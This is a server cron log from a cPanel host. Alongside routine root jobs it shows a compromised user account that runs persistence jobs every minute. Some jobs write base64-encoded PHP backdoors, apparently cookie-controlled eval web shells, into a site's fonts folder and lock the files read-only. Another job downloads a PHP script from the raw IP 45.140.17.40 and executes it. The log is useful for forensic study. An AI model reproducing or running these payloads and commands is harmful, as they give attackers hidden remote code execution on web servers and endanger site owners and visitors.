Sep  9 20:18:01 ip-184-168-122-23 CROND[8544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:18:01 ip-184-168-122-23 CROND[8546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:19:01 ip-184-168-122-23 CROND[8627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:19:01 ip-184-168-122-23 CROND[8628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:19:01 ip-184-168-122-23 CROND[8630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:19:01 ip-184-168-122-23 CROND[8631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:20:01 ip-184-168-122-23 CROND[8720]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8722]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8725]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:20:01 ip-184-168-122-23 CROND[8723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:20:01 ip-184-168-122-23 CROND[8724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:21:01 ip-184-168-122-23 CROND[8820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:21:01 ip-184-168-122-23 CROND[8821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:21:01 ip-184-168-122-23 CROND[8823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:21:01 ip-184-168-122-23 CROND[8822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:22:01 ip-184-168-122-23 CROND[8982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:22:01 ip-184-168-122-23 CROND[8984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:22:01 ip-184-168-122-23 CROND[8987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:22:02 ip-184-168-122-23 CROND[8986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:22:02 ip-184-168-122-23 CROND[8985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:23:01 ip-184-168-122-23 CROND[9065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:23:01 ip-184-168-122-23 CROND[9066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:23:01 ip-184-168-122-23 CROND[9068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:23:01 ip-184-168-122-23 CROND[9070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:24:01 ip-184-168-122-23 CROND[9149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:24:01 ip-184-168-122-23 CROND[9151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:24:01 ip-184-168-122-23 CROND[9152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:24:01 ip-184-168-122-23 CROND[9153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:24:01 ip-184-168-122-23 CROND[9154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:25:01 ip-184-168-122-23 CROND[9243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:25:01 ip-184-168-122-23 CROND[9245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:25:01 ip-184-168-122-23 CROND[9246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:25:01 ip-184-168-122-23 CROND[9247]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 20:25:01 ip-184-168-122-23 CROND[9250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:25:01 ip-184-168-122-23 CROND[9248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:25:01 ip-184-168-122-23 CROND[9249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:26:01 ip-184-168-122-23 CROND[9341]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  9 20:26:01 ip-184-168-122-23 CROND[9344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:26:01 ip-184-168-122-23 CROND[9347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:26:01 ip-184-168-122-23 CROND[9345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:26:01 ip-184-168-122-23 CROND[9346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:26:01 ip-184-168-122-23 CROND[9348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  9 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  9 20:27:01 ip-184-168-122-23 CROND[9810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:27:01 ip-184-168-122-23 CROND[9809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:27:01 ip-184-168-122-23 CROND[9811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:27:01 ip-184-168-122-23 CROND[9812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:28:01 ip-184-168-122-23 CROND[9894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:28:01 ip-184-168-122-23 CROND[9896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:28:01 ip-184-168-122-23 CROND[9897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:28:01 ip-184-168-122-23 CROND[9898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:28:01 ip-184-168-122-23 CROND[9899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:29:01 ip-184-168-122-23 CROND[9977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:29:01 ip-184-168-122-23 CROND[9979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:29:01 ip-184-168-122-23 CROND[9981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:29:01 ip-184-168-122-23 CROND[9980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:30:02 ip-184-168-122-23 CROND[10077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:30:02 ip-184-168-122-23 CROND[10080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:30:02 ip-184-168-122-23 CROND[10082]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 20:30:02 ip-184-168-122-23 CROND[10083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:30:02 ip-184-168-122-23 CROND[10085]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:30:02 ip-184-168-122-23 CROND[10086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
